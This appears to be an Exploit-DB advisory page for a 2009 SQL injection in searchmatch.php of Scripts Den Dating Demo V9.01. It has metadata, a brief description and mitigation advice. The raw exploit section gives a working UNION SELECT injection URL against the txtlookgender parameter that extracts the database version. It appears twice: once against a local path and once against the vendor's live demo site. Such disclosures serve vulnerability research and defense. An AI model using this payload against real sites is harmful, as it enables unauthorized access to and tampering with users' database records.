Scripts Den Dating Demo V9.01(searchmatch.php) SQL Injection Vulnerability

vendor:

Dating Demo

by:

nuclear

CVSS

HIGH

SQL Injection

CWE

Product Name: Dating Demo

Affected Version From: V9.01

Affected Version To: V9.01

Patch Exists: NO

Related CWE: N/A

CPE: a:scriptsden:dating_demo:9.01

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Scripts Den Dating Demo V9.01(searchmatch.php) SQL Injection Vulnerability

A SQL injection vulnerability exists in Scripts Den Dating Demo V9.01(searchmatch.php) which allows an attacker to execute arbitrary SQL commands on the vulnerable system. By sending a specially crafted HTTP request to the vulnerable application, an attacker can execute arbitrary SQL commands on the underlying database. This can be used to bypass authentication, access, modify and delete data within the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

#Scripts Den Dating Demo V9.01(searchmatch.php) SQL Injection Vulnerability


#Author: nuclear


#site:
http://www.scriptsden.com


#SQL vuln:
http://localhost/[path]/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F') union select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=


#demo:
http://www.scriptsden.com/dating/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F%27)%20union%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2009-02-11]